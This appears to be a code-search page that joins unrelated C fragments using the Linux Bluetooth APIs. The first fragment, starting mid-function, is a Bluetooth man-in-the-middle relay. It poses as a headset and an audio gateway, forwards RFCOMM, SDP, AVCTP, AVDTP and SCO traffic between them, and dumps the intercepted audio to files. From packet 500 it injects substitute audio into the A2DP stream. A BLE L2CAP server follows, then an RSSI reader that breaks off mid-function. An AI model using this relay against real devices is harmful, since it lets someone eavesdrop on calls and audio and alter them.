		rfcomm_sock2 = accept(accepter, (struct sockaddr*)&remote2, &accepterlen);
		close(accepter);

		rfcomm_sock2 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);	
		remote2.rc_family = AF_BLUETOOTH;
		remote2.rc_channel = rfcomm_channel2;
		 

		str2ba(dest2_mac, &remote2.rc_bdaddr);

		for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
		{
			if ((err = connect(rfcomm_sock2, (struct sockaddr *)&remote2, sizeof(struct sockaddr_rc))) < 0)
			{
				printf("Failed to connect RFCOMM 2 (%d)\n", err);
			}
		}

		printf("Opened AG RFCOMM sock\n");

		if (fcntl(rfcomm_sock2, F_SETFL, O_NONBLOCK) < 0)
		{
			printf("Failed to make RFCOMM socket nonblocking\n");
			goto rfcomm_sock_cleanup;
		}
*/
	}
	else
	{
		is_server = 0;

		sleep(2);

		ag2hs = open("bt_ag2hs", O_NONBLOCK, 0666);
		hs2ag = open("bt_hs2ag", O_WRONLY, 0666);
		ag2hs_sco = open("bt_ag2hs_sco", O_NONBLOCK, 0666);
		hs2ag_sco = open("bt_hs2ag_sco", O_WRONLY, 0666);
		ag2hs_sdp = open("bt_ag2hs_sdp", O_NONBLOCK, 0666);
		hs2ag_sdp = open("bt_hs2ag_sdp", O_WRONLY, 0666);
		ag2hs_avctp = open("bt_ag2hs_avctp", O_NONBLOCK, 0666);
		hs2ag_avctp = open("bt_hs2ag_avctp", O_WRONLY, 0666);
		ag2hs_avdtp = open("bt_ag2hs_avdtp", O_NONBLOCK, 0666);
		hs2ag_avdtp = open("bt_hs2ag_avdtp", O_WRONLY, 0666);
		ag2hs_audio = open("bt_ag2hs_audio", O_NONBLOCK, 0666);
		hs2ag_audio = open("bt_hs2ag_audio", O_WRONLY, 0666);

		printf("Client starting\n");

		rfcomm_sock1 = connect_rfcomm(dest1_mac, local_mac, rfcomm_channel1);
		printf("Opened HS RFCOMM connection\n");

/*
		rfcomm_sock1 = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);	
		remote1.rc_family = AF_BLUETOOTH;
		remote1.rc_channel = rfcomm_channel1;
		str2ba(dest1_mac, &remote1.rc_bdaddr);

		for (attempts = 0, err = -1; attempts < 3 && err < 0; attempts++)
		{
			if ((err = connect(rfcomm_sock1, (struct sockaddr *)&remote1, sizeof(struct sockaddr_rc))) < 0)
			{
				printf("Failed to connect RFCOMM 1 (%d)\n", err);
			}
		}

		printf("Opened HS RFCOMM sock\n");
	
		if (fcntl(rfcomm_sock1, F_SETFL, O_NONBLOCK) < 0)
		{
			printf("Failed to make RFCOMM socket nonblocking\n");
			goto rfcomm_sock_cleanup;
		}
*/
	}

	//printf("Got FIFO FDs: %d %d\n", ag2hs, hs2ag);

/*	
	if (0 > (err = fcntl(ag2hs, F_SETFL, O_NONBLOCK)))
	{
		printf("Failed to make AG2HS nonblocking (%d - %s)\n", errno, strerror(errno));
	}

	if (0 > (err = fcntl(hs2ag, F_SETFL, O_NONBLOCK)))
	{
		printf("Failed to make HS2AG nonblocking (%d - %s)\n", errno, strerror(errno));
	}
*/

	while (1)
	{
	if (is_server)
	{
		// On first run, set a SCO socket to wait for the audio gateway to initiate a phone call
		if (-2 == sco_sock2)
		{
			sco_sock2 = -1;
			start_sco_conn_wait(&sco_sock2);
		}

		// Check if our SDP server has been connected to
		if (sdp_sock_res.res_sock != -1)
		{
			printf("We have been SDP queried! - %d\n", sdp_sock_res.res_sock);
			sdp_sock2 = sdp_sock_res.res_sock;
			sdp_sock_res.res_sock = -1;
		}

		/*if (server_rfcomm_sock.res_sock != -1)
		{
			printf("Received server RFCOMM connection!\n");
			rfcomm_sock2 = server_rfcomm_sock.res_sock;
			server_rfcomm_sock.res_sock = -1;
		}*/

		// Read +AT commands from master
		if ((recv_len = recv(rfcomm_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
		{
			// Forward it to the slave
			//send(rfcomm_sock2, recv_buf, recv_len, 0);
			if (write(ag2hs, recv_buf, recv_len) < 0) printf("write failed\n");

			printf("RFCOMM2 -> RFCOMM1: %s\n", recv_buf);

			memset(recv_buf, 0, RECV_BUF_SIZE);
		}	

		// Check for pending slave +AT commands
		if ((recv_len = read(hs2ag, recv_buf, RECV_BUF_SIZE)) > 0)
		{
			printf("HS2AG: %s\n", recv_buf);

			send(rfcomm_sock2, recv_buf, recv_len, 0);
			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		// Check for pending SDP messages from slave
		if ((recv_len = read(hs2ag_sdp, recv_buf, RECV_BUF_SIZE)) > 0)
		{
			printf("HS2AG_SDP: %d bytes\n", recv_len);

			// Forward to master
			if (send(sdp_sock2, recv_buf, recv_len, 0) < 0) printf("sdp_sock2 send failed\n");
			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		if (-1 != sdp_sock2)
		{
			// Test to see if the master sent any SDP data
			if ((recv_len = recv(sdp_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
			{
				printf("SDP2->SDP1: %d bytes\n", recv_len);
				
				// Send to slave process
				write(ag2hs_sdp, recv_buf, recv_len);
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// If the master initiated a A2DP control connection
		if (server_avctp_sock_res.res_sock != -1 && -1 == avctp_sock2)
		{
			//close(sdp_sock2);
			printf("AG initiated AVCTP channel!\n");
			avctp_sock2 = server_avctp_sock_res.res_sock;
			server_avctp_sock_res.res_sock = -1;
		}

		if (-1 != avctp_sock2)
		{
			// Receive AVCTP data from master
			if ((recv_len = recv(avctp_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
			{
				printf("AVCTP2->AVCTP1 [%d bytes]\n", recv_len);
				
				// Send to slave process to be forwarded
				write(ag2hs_avctp, recv_buf, recv_len);
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}

			// Check for pending AVCTP data from slave process
			if ((recv_len = read(hs2ag_avctp, recv_buf, RECV_BUF_SIZE)) > 0)
			{
				printf("HS2AG_AVCTP: %d bytes\n", recv_len);

				// Send to master
				if (send(avctp_sock2, recv_buf, recv_len, 0) < 0) printf("avctp_sock2 send failed\n");
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// If the master initiated a A2DP distribution connection
		if (server_avdtp_sock_res.res_sock != -1 && -1 == avdtp_sock2)
		{
			printf("AG initiated AVDTP channel!\n");
			
			// Save the result socket
			avdtp_sock2 = server_avdtp_sock_res.res_sock;
			server_avdtp_sock_res.res_sock = -2;
			sleep(1);
		}

		if (-1 != avdtp_sock2)
		{
			if (-2 == server_avdtp_sock_res.res_sock)
			{
				server_avdtp_sock_res.res_sock = -1;
				server_avdtp_sock_res.psm = PSM_AVDTP;

				// Wait for the actual data connection over L2CAP
				start_l2cap_conn_wait(&server_avdtp_sock_res);
			}

			if (server_avdtp_sock_res.res_sock != -1)
			{
				printf("AVDTP Audio channel opened!\n");
				
				// Audio socket has been opened!
				audio_sock2 = server_avdtp_sock_res.res_sock;
				server_avdtp_sock_res.res_sock = -1;
			}

			// Test for data on master AVDTP channel
			if ((recv_len = recv(avdtp_sock2, recv_buf, RECV_BUF_SIZE, 0)) > 0)
			{
				printf("AVDTP2->AVDTP1 [%d bytes]\n", recv_len);
				
				// Send to slave process
				write(ag2hs_avdtp, recv_buf, recv_len);
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}

			// Test for pending slave AVDTP data
			if ((recv_len = read(hs2ag_avdtp, recv_buf, RECV_BUF_SIZE)) > 0)
			{
				//printf("HS2AG_AVDTP: %d bytes\n", recv_len);

				// Send to master
				if (send(avdtp_sock2, recv_buf, recv_len, 0) < 0) printf("avdtp_sock2 send failed\n");
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		if (-1 != audio_sock2)
		{
			// 608 is the magic MTU for our controller... adjust accordingly
			// Test for audio data from master
			if ((recv_len = recv(audio_sock2, recv_buf, 608, 0)) > 0)
			{
				//printf("AUDIO2->AUDIO1 [%d bytes]\n", recv_len);
				
				// Record to file in SBC format
				if (NULL == test_audio_file) test_audio_file = fopen("audiodump.sbc", "wb");
				fwrite(recv_buf+12, 1, recv_len-12, test_audio_file);
				/*printf("AUDPKT RTP: %02x %02x %d %d %08x\n", recv_buf[0], recv_buf[1], END_FLIP16(*((uint16_t*)&recv_buf[2])), END_FLIP32(*((uint32_t*)&recv_buf[4])), *((uint32_t*)&recv_buf[8]));*/
				int sequence = END_FLIP16(*((uint16_t*)&recv_buf[2]));
				
				// Check packet sequence number, start overwriting audio with our audio from the 500th packet
				if (sequence > 500 && 1)
				{
					int rb = fread(recv_buf+12, 1, recv_len - 12, haxed_audio_file);
					printf("Injected %d bytes into stream! %02x%02x%02x%02x\n", rb, recv_buf[16], recv_buf[17], recv_buf[18], recv_buf[19]);
				}

				// Send audio packet to slave process
				if (write(ag2hs_audio, recv_buf, recv_len) < 0) printf("Failed to write to ag2hs_audio[err %u - %s]\n", errno, strerror(errno));
				memset(recv_buf, 0, RECV_BUF_SIZE);
				usleep(1);
			}

			// Test for pending audio data from slave process
			if ((recv_len = read(hs2ag_audio, recv_buf, RECV_BUF_SIZE)) > 0)
			{
				//printf("HS2AG_AUDIO: %d bytes\n", recv_len);

				// Send to master
				if (send(audio_sock2, recv_buf, recv_len, 0) < 0) printf("avctp_sock2 send failed\n");
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// If the master has an open SCO connection
		if (0 < sco_sock2)
		{
			// Test for SCO data from master
			if ((recv_len = recv(sco_sock2, recv_buf, DEFAULT_SCO_MTU, 0)) > 0)
			{
				printf("SCO2->SCO1 [%u bytes]\n", recv_len);
				
				// Forward SCO audio data to slave process
				if (write(ag2hs_sco, recv_buf, recv_len) < 0) printf("ag2hs_sco write failed\n");
			
				// Dump SCO audio to raw PCM file
				if (NULL == test_audio_file) test_audio_file = fopen("test.pcm", "wb");
				fwrite(recv_buf, 1, recv_len, test_audio_file);

				memset(recv_buf, 0, RECV_BUF_SIZE); 
			}
			
			// Test for pending SCO data from slave process
			if ((recv_len = read(hs2ag_sco, recv_buf, DEFAULT_SCO_MTU)) > 0)
			{
				printf("HS2AG_SCO: %u bytes to SCO!\n", recv_len);
				//printf("^");
				
				// Forward data to master - send as fragmented chunks if necessary
				if (recv_len <= DEFAULT_SCO_MTU)
				{
					if (err = send(sco_sock2, recv_buf, recv_len, 0) < 0) printf("sco2 send failed (%d - %s) [%d bytes]\n", errno, strerror(errno), recv_len);
					usleep(500);
				}
				else
				{
					send_sco_fragmented(sco_sock2, recv_buf, recv_len, DEFAULT_SCO_MTU);
				}

				printf("^");
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}
	}
	else
	{
		// Test for pending AVCTP data from master process
		if ((recv_len = read(ag2hs_avctp, recv_buf, RECV_BUF_SIZE)) > 0)
		{
			printf("AG2HS_AVCTP: %d bytes\n", recv_len);

			if (-1 == avctp_sock1)
			{
				//close(sdp_sock1);
				// Master initiated a AVCTP channel to us, open a channel from us to the slave
				avctp_sock1 = connect_l2cap(dest1_mac, PSM_AVCTP, NULL, NULL);
			}
		
			// Forward master's data to slave
			if (send(avctp_sock1, recv_buf, recv_len, 0) < 0) printf("avctp_sock1 send failed\n");
			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		if (-1 != avctp_sock1)
		{
			// Test for AVCTP data from slave
			if ((recv_len = recv(avctp_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
			{
				printf("AVCTP1->AVCTP2: %d bytes\n", recv_len);
				
				// Send to master process
				write(hs2ag_avctp, recv_buf, recv_len);
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// Test for pending AVDTP data from master
		if ((recv_len = read(ag2hs_avdtp, recv_buf, RECV_BUF_SIZE)) > 0)
		{
			printf("AG2HS_AVDTP: %d bytes\n", recv_len);

			// Master initiated a AVDTP channel, open a channel from us to the slave
			if (-1 == avdtp_sock1)
				avdtp_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP, NULL, NULL);
		
			// Forward master's data to slave
			if (send(avdtp_sock1, recv_buf, recv_len, 0) < 0) printf("avdtp_sock1 send failed\n");

			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		if (-1 != avdtp_sock1)
		{
			// Test for AVDTP data from slave
			if ((recv_len = recv(avdtp_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
			{
				printf("AVDTP1->AVDTP2: %d bytes\n", recv_len);
				
				// Forward AVDTP data to master process
				write(hs2ag_avdtp, recv_buf, recv_len);
			
				// Check the AVDTP packet to see if it's the A2DP audio channel initialization message
				if (detect_avdtp_start_accept_msg(recv_buf, recv_len))
				{
					printf("Detected START ACCEPT message!\n");
					
					// Found an A2DP audio channel ready for connect message, assume the master's role and connect over L2CAP
					audio_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP, &audio_sock1_omtu, &audio_sock1_imtu);
					if (audio_sock1_omtu > DEFAULT_L2CAP_MTU && 0)
					{
						printf("Downsizing mtu for audio sock1\n");
						audio_sock1_omtu = DEFAULT_L2CAP_MTU;
						set_l2cap_sock_mtu(audio_sock1, DEFAULT_L2CAP_MTU, 0);
					}			
				}

				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// Check for +AT commands from slave
		if ((recv_len = recv(rfcomm_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
		{
			printf("RFCOMM1 -> RFCOMM2: %s\n", recv_buf);
			
			// Forward +AT command to master process
			write(hs2ag, recv_buf, recv_len);
			//send(rfcomm_sock1, recv_buf, recv_len, 0);

			// Check for the AT command that usually shows up when a SCO connection is opened...
			if (NULL != strcasestr(recv_buf, "CLCC") && 0)
			{
				if (-1 == sco_sock1)
				{
					printf("Tiem to open conn to headset!\n");
				
					// Open the SCO connection to the slave
					sco_sock1 = connect_sco(dest1_mac, local_mac);

					memset(&sco_conn_options, 0, sizeof(struct sco_options));
					optlen = sizeof(struct sco_options);

					if (getsockopt(sco_sock1, SOL_SCO, SCO_OPTIONS, &sco_conn_options, &optlen) < 0)
					{
						printf("Failed to get sock options...\n");
					}

					printf("SCO Link1 mtu: %u\n", sco_conn_options.mtu);
				}
				/*else
				{
					printf("Resetting headset conn\n");
					close(sco_sock1);

					sco_sock1 = -1;
				}*/	
			}

			memset(recv_buf, 0, RECV_BUF_SIZE);
		}	

		// MTU is 612, so read 608 bytes of payload as 4 bytes are A2DP header bytes
		// 612 - 4b header
		if ((recv_len = read(ag2hs_audio, recv_buf, 608)) > 0)
		{
			//printf("AG2HS_AUDIO: %d bytes\n", recv_len);

			/*if (-1 == audio_sock1)
				audio_sock1 = connect_l2cap(dest1_mac, PSM_AVDTP, &audio_sock1_omtu, &audio_sock1_imtu);*/
		
			/*if (recv_len > audio_sock1_omtu)
			{
				printf("Sending audio fragmented... %d > %d\n", recv_len, audio_sock1_omtu);
				send_l2cap_fragmented(audio_sock1, recv_buf, recv_len, audio_sock1_omtu);
			}
			else*/

			if (recv_len <= audio_sock1_omtu)
			{
				// Many times if we sent over the MTU or send too quickly the buffer fills up, need to watch this
				if ((err = send(audio_sock1, recv_buf, recv_len, 0)) < 0) 
				{
					if (errno != EAGAIN && errno != EWOULDBLOCK)
					{
						printf("audio_sock1 send failed %d - %s (%d bytes)\n", errno, strerror(errno), recv_len);	
						break;
					}
				}

				/*audio1_sent_amt += recv_len;

				if (audio1_sent_amt >= 12000)
				{
					audio1_sent_amt = 0;
					sleep(1);
				}*/
			}
			else
			{
				send_l2cap_fragmented(audio_sock1, recv_buf, recv_len, DEFAULT_L2CAP_MTU);
			}

			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		if (-1 != audio_sock1)
		{
			// Test for pending audio data from slavd
			if ((recv_len = recv(audio_sock1, recv_buf, audio_sock1_imtu, 0)) > 0)
			{
				//printf("AUDIO1->AUDIO2: %d bytes\n", recv_len);
				
				// Forward A2DP audio data to master process
				write(hs2ag_audio, recv_buf, recv_len);
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// Test for SDP queries from master process
		if ((recv_len = read(ag2hs_sdp, recv_buf, RECV_BUF_SIZE)) > 0)
		{
			printf("AG2HS_SDP: %d bytes\n", recv_len);

			// Connect to slave's SDP service, pretending to be the master
			if (-1 == sdp_sock1)
				sdp_sock1 = connect_l2cap(dest1_mac, PSM_SDP, &sdp1_omtu, &sdp1_imtu);

			// Send master's request
			if (send(sdp_sock1, recv_buf, recv_len, 0) < 0) printf("sdp_sock1 send failed\n");
			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		if (-1 != sdp_sock1)
		{
			// Test for pending SDP responses from slave
			if ((recv_len = recv(sdp_sock1, recv_buf, RECV_BUF_SIZE, 0)) > 0)
			{
				printf("SDP1->SDP2: %d bytes\n", recv_len);
				
				// Forward SDP reply to master process
				write(hs2ag_sdp, recv_buf, recv_len);
				memset(recv_buf, 0, RECV_BUF_SIZE);
			}
		}

		// Test for pending AT commands from master process
		if ((recv_len = read(ag2hs, recv_buf, RECV_BUF_SIZE)) > 0)
		{
			printf("AG2HS: %s\n", recv_buf);

			// Connect to target profile RFCOMM channel on slave, pretending to be the master
			if (-1 == rfcomm_sock1)
			{
				rfcomm_sock1 = connect_rfcomm(dest1_mac, local_mac, rfcomm_channel1);
				printf("Opened HS RFCOMM connection\n");
			}

			// Forward AT commands from master to slave
			if (send(rfcomm_sock1, recv_buf, recv_len, 0) < 0) printf("rfcomm_sock1 send failed\n");
			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		// Test for pending SCO audio data from master
		if ((recv_len = read(ag2hs_sco, recv_buf, DEFAULT_SCO_MTU)) > 0)
		{
//				printf("AG2HS_SCO: %u bytes to SCO!\n", recv_len);

			// Open SCO connection to slave, assuming role of master
			if (-1 == sco_sock1)
			{
				printf("Connecting SCO to headset!\n");
				sco_sock1 = connect_sco(dest1_mac, local_mac);

				memset(&sco_conn_options, 0, sizeof(struct sco_options));
				optlen = sizeof(struct sco_options);

				if (getsockopt(sco_sock1, SOL_SCO, SCO_OPTIONS, &sco_conn_options, &optlen) < 0)
				{
					printf("Failed to get sock options...\n");
				}

				printf("SCO Link1 mtu: %u\n", sco_conn_options.mtu);
			}

			// Send SCO data chunks to slave, fragmented if needed
			if (recv_len <= DEFAULT_SCO_MTU)
			{
				if (send(sco_sock1, recv_buf, recv_len, 0) < 0) 
				{
					printf("sco1 send failed(%d - %s) [%d B]\n",
						errno, strerror(errno), recv_len);
					close(sco_sock1);
					sco_sock1 = -1;
				}
				usleep(500);
			}
			else
			{
				send_sco_fragmented(sco_sock1, recv_buf, recv_len, DEFAULT_SCO_MTU);
			}
			
			memset(recv_buf, 0, RECV_BUF_SIZE);
		}

		if (-1 != sco_sock1)
		{
			// Test for pending SCO audio data from slave
			if ((recv_len = recv(sco_sock1, recv_buf, DEFAULT_SCO_MTU, 0)) > 0)
			{
				printf("SCO1->SCO2 [%u bytes]\n", recv_len);
				
				// Forward SCO audio data to master process
				if (write(hs2ag_sco, recv_buf, recv_len) < 0) printf("hs2ag_sco write failed\n");

				memset(recv_buf, 0, RECV_BUF_SIZE); 
			}
		}
	}
	}

	// TODO: Remove this entire chunk of code
	while(1)
	{
/*
		if (sdp_sock_res.res_sock != -1 && !sdp_chann_enabled && 0)
		{
			printf("We have been SDP queried! - %d\n", sdp_sock_res.res_sock);
			sdp_sock2 = sdp_sock_res.res_sock;
			sdp_chann_enabled = 1;
			sdp_sock1 = connect_l2cap(dest1_mac, PSM_SDP);
		}

		if (sdp_chann_enabled)
		{
			if ((recv_len = recv(sdp_sock1, l2cap_buf, 1500, 0)) > 0)
			{
				printf("SDP1->SDP2: %u bytes\n", recv_len);
				send(sdp_sock2, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}

			if ((recv_len = recv(sdp_sock2, l2cap_buf, 1500, 0)) > 0)
			{
				printf("SDP2->SDP1: %u bytes\n", recv_len);
				send(sdp_sock1, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}
		}
*/

		if (sco_conn_enabled)
		{
			if ((recv_len = recv(sco_sock1, l2cap_buf, 1500, 0)) > 0)
			{
				printf("SCO1->SCO2: %u bytes\n", recv_len);
				send(sco_sock2, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}

			if ((recv_len = recv(sco_sock2, l2cap_buf, 1500, 0)) > 0)
			{
				printf("SCO2->SCO1: %u bytes\n", recv_len);
				send(sco_sock1, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}
		}

		if ((recv_len = recv(rfcomm_sock1, recv_buf, sizeof(recv_buf), 0)) > 0)
		{
			printf("RFCOMM1 -> RFCOMM2: %s\n", recv_buf);
			send(rfcomm_sock2, recv_buf, recv_len, 0);
			
			if (NULL != strcasestr(recv_buf, "CLCC"))
			{
				if (!sco_conn_enabled)
				{
					connect_sco_dual(&sco_sock2, local_mac, dest1_mac, &sco_sock1);
				}
				else
				{
					//close(sco_sock1);
					close(sco_sock2);

					sco_sock2 = -1;
				}	
			}

			sco_conn_enabled = (sco_sock1 > 0) && (sco_sock2 > 0);
			memset(recv_buf, 0, sizeof(recv_buf));
		}

		if ((recv_len = recv(rfcomm_sock2, recv_buf, sizeof(recv_buf), 0)) > 0)
		{
			printf("RFCOMM2 -> RFCOMM1: %s\n", recv_buf);
			send(rfcomm_sock1, recv_buf, recv_len, 0);

			if (NULL != strcasestr(recv_buf, "CLCC"))
			{
				if (!sco_conn_enabled)
				{
					connect_sco_dual(&sco_sock1, local_mac, dest2_mac, &sco_sock2);
				}
				else
				{
					//close(sco_sock1);
					close(sco_sock2);

					sco_sock2 = -1;
				}	
			}

			sco_conn_enabled = (sco_sock1 > 0) && (sco_sock2 > 0);
			memset(recv_buf, 0, sizeof(recv_buf));
		}

		if (connected)
			{
			if ((recv_len = recv(avctp_sock1, l2cap_buf, 1500, 0)) > 0)
			{
				printf("AVCTP1 -> AVCTP2: %s\n", l2cap_buf);
				send(avctp_sock2, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}

			if ((recv_len = recv(avctp_sock2, l2cap_buf, 1500, 0)) > 0)
			{
				printf("AVCTP2 -> AVCTP1: %s\n", l2cap_buf);
				send(avctp_sock1, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}

			if ((recv_len = recv(avdtp_sock1, l2cap_buf, 1500, 0)) > 0)
			{
				printf("AVDTP1 -> AVDTP2: %s\n", l2cap_buf);
				send(avdtp_sock2, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}

			if ((recv_len = recv(avdtp_sock2, l2cap_buf, 1500, 0)) > 0)
			{
				printf("AVCTP2 -> AVCTP1: %s\n", l2cap_buf);
				send(avdtp_sock1, l2cap_buf, recv_len, 0);
				memset(l2cap_buf, 0, 1500);
			}
		}

		//sleep(1);
	}

l2cap_sock_cleanup:

	close(avctp_sock1);
	close(avdtp_sock1);
	close(avctp_sock2);
	close(avdtp_sock2);

rfcomm_sock_cleanup:

	close(rfcomm_sock1);
	close(rfcomm_sock2);

cleanup:

	free(l2cap_buf);
	free(recv_buf);

	hci_close_dev(dev_sock);
}
コード例 #12
0
ファイル: l2cap-ble.c プロジェクト: brutella/gatt
int main(int argc, const char* argv[]) {
  const char *hciDeviceIdOverride = NULL;
  int hciDeviceId = 0;
  int hciSocket;
  
  int serverL2capSock;
  struct sockaddr_l2 sockAddr;
  socklen_t sockAddrLen;
  int result;
  bdaddr_t clientBdAddr;
  int clientL2capSock;
  struct l2cap_conninfo l2capConnInfo;
  socklen_t l2capConnInfoLen;
  int hciHandle;

  fd_set afds;
  fd_set rfds;
  struct timeval tv;

  char stdinBuf[256 * 2 + 1];
  char l2capSockBuf[256];
  int len;
  int i;
  struct bt_security btSecurity;
  socklen_t btSecurityLen;
  uint8_t securityLevel = 0;
  
  // remove buffering 
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  // setup signal handlers
  signal(SIGINT, signalHandler);
  signal(SIGKILL, signalHandler);
  signal(SIGHUP, signalHandler);
  signal(SIGUSR1, signalHandler);

  prctl(PR_SET_PDEATHSIG, SIGINT);

  // create socket
  serverL2capSock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
  
  if (argc > 1 && strlen(argv[1]) > 0) {
    hciDeviceIdOverride = argv[1];
  }
  if (hciDeviceIdOverride != NULL) {
    hciDeviceId = atoi(hciDeviceIdOverride);
  } else {
    // if no env variable given, use the first available device
    hciDeviceId = hci_get_route(NULL);
  }

  if (hciDeviceId < 0) {
    hciDeviceId = 0; // use device 0, if device id is invalid
  }

  printf("hciDeviceId %d\n", hciDeviceId);
  
  bdaddr_t daddr;
  hciSocket = hci_open_dev(hciDeviceId);
  if (hciSocket == -1) {
    printf("adapterState unsupported\n");
    return -1;
  }
  if (hci_read_bd_addr(hciSocket, &daddr, 1000) == -1){
    daddr = *BDADDR_ANY;
  }

  printf("bdaddr ");
  for(i = 5; i > 0; i--) {
    printf("%02x:", daddr.b[i]);
  }
  printf("%02x", daddr.b[0]);
  printf("\n");

  // bind
  memset(&sockAddr, 0, sizeof(sockAddr));
  sockAddr.l2_family = AF_BLUETOOTH;
  sockAddr.l2_bdaddr = daddr;
  sockAddr.l2_cid = htobs(ATT_CID);

  result = bind(serverL2capSock, (struct sockaddr*)&sockAddr, sizeof(sockAddr));

  printf("bind %s\n", (result == -1) ? strerror(errno) : "success");

  result = listen(serverL2capSock, 1);

  printf("listen %s\n", (result == -1) ? strerror(errno) : "success");

  while (result != -1) {
    FD_ZERO(&afds);
    FD_SET(serverL2capSock, &afds);

    tv.tv_sec = 1;
    tv.tv_usec = 0;

    result = select(serverL2capSock + 1, &afds, NULL, NULL, &tv);

    if (-1 == result) {
      if (SIGINT == lastSignal || SIGKILL == lastSignal) {
        break;
      } else if (SIGHUP == lastSignal || SIGUSR1 == lastSignal) {
        result = 0;
      }
    } else if (result && FD_ISSET(serverL2capSock, &afds)) {
      sockAddrLen = sizeof(sockAddr);
      clientL2capSock = accept(serverL2capSock, (struct sockaddr *)&sockAddr, &sockAddrLen);

      baswap(&clientBdAddr, &sockAddr.l2_bdaddr);
      printf("accept %s\n", batostr(&clientBdAddr));

      l2capConnInfoLen = sizeof(l2capConnInfo);
      getsockopt(clientL2capSock, SOL_L2CAP, L2CAP_CONNINFO, &l2capConnInfo, &l2capConnInfoLen);
      hciHandle = l2capConnInfo.hci_handle;

      while(1) {
        FD_ZERO(&rfds);
        FD_SET(0, &rfds);
        FD_SET(clientL2capSock, &rfds);

        tv.tv_sec = 1;
        tv.tv_usec = 0;
        result = select(clientL2capSock + 1, &rfds, NULL, NULL, &tv);

        if (-1 == result) {
          if (SIGINT == lastSignal || SIGKILL == lastSignal) {
            break;
          } else if (SIGHUP == lastSignal) {
            result = 0;

            hci_disconnect(hciSocket, hciHandle, HCI_OE_USER_ENDED_CONNECTION, 1000);
          } else if (SIGUSR1 == lastSignal) {
            int8_t rssi = 0;

            for (i = 0; i < 100; i++) {
              hci_read_rssi(hciSocket, hciHandle, &rssi, 1000);

              if (rssi != 0) {
                break;
              }
            }
            
            if (rssi == 0) {
              rssi = 127;
            }

            printf("rssi = %d\n", rssi);
          }
        } else if (result) {

          if (FD_ISSET(0, &rfds)) {
            len = read(0, stdinBuf, sizeof(stdinBuf));

            if (len <= 0) {
              break;
            }

            i = 0;
            while(stdinBuf[i] != '\n') {
              unsigned int data = 0;
              sscanf(&stdinBuf[i], "%02x", &data);
              l2capSockBuf[i / 2] = data;
              i += 2;
            }

            len = write(clientL2capSock, l2capSockBuf, (len - 1) / 2);
          }

          if (FD_ISSET(clientL2capSock, &rfds)) {
            len = read(clientL2capSock, l2capSockBuf, sizeof(l2capSockBuf));

            if (len <= 0) {
              break;
            }

            btSecurityLen = sizeof(btSecurity);
            memset(&btSecurity, 0, btSecurityLen);
            getsockopt(clientL2capSock, SOL_BLUETOOTH, BT_SECURITY, &btSecurity, &btSecurityLen);

            if (securityLevel != btSecurity.level) {
              securityLevel = btSecurity.level;

              const char *securityLevelString;

              switch(securityLevel) {
                case BT_SECURITY_LOW:
                  securityLevelString = "low";
                  break;

                case BT_SECURITY_MEDIUM:
                  securityLevelString = "medium";
                  break;

                case BT_SECURITY_HIGH:
                  securityLevelString = "high";
                  break;

                default:
                  securityLevelString = "unknown";
                  break;
              }

              printf("security %s\n", securityLevelString);
            }

            printf("data ");
            for(i = 0; i < len; i++) {
              printf("%02x", ((int)l2capSockBuf[i]) & 0xff);
            }
            printf("\n");
          }
        }
      }

      printf("disconnect %s\n", batostr(&clientBdAddr));
      close(clientL2capSock);
    }
  }

  printf("close\n");
  close(serverL2capSock);
  close(hciSocket);

  return 0;
}
コード例 #13
0
int read_rssi(char *pAddress, int *pRSSI ) 
{
  int cc = 0;
  int dd;
  int dev_id;
  uint16_t handle;
  struct hci_conn_info_req *cr;
  struct hci_request rq;
  read_rssi_rp rp;
  bdaddr_t bdaddr;
  
  str2ba( pAddress, &bdaddr);
  
  dev_id = hci_for_each_dev( HCI_UP, find_conn, (long)&bdaddr );
  if (dev_id < 0) {
    dev_id = hci_get_route( &bdaddr );
    cc = 1;
  }

  if (dev_id < 0) {
    printf("Device not available\n");
    return -1;
  }
  
  dd = hci_open_dev(dev_id);
  if (dd < 0) {
    printf("Cannot open device\n");
    return -2;
  }
  
  if (cc) {
    if (hci_create_connection( dd, 
			       &bdaddr, 
			       0x0008 | 0x0010, 
			       0, 
			       0, 
			       &handle, 
			       25000 ) < 0) {
      printf("Cannot create connection\n");
      close(dd);
      return -3;
    }
  }
  
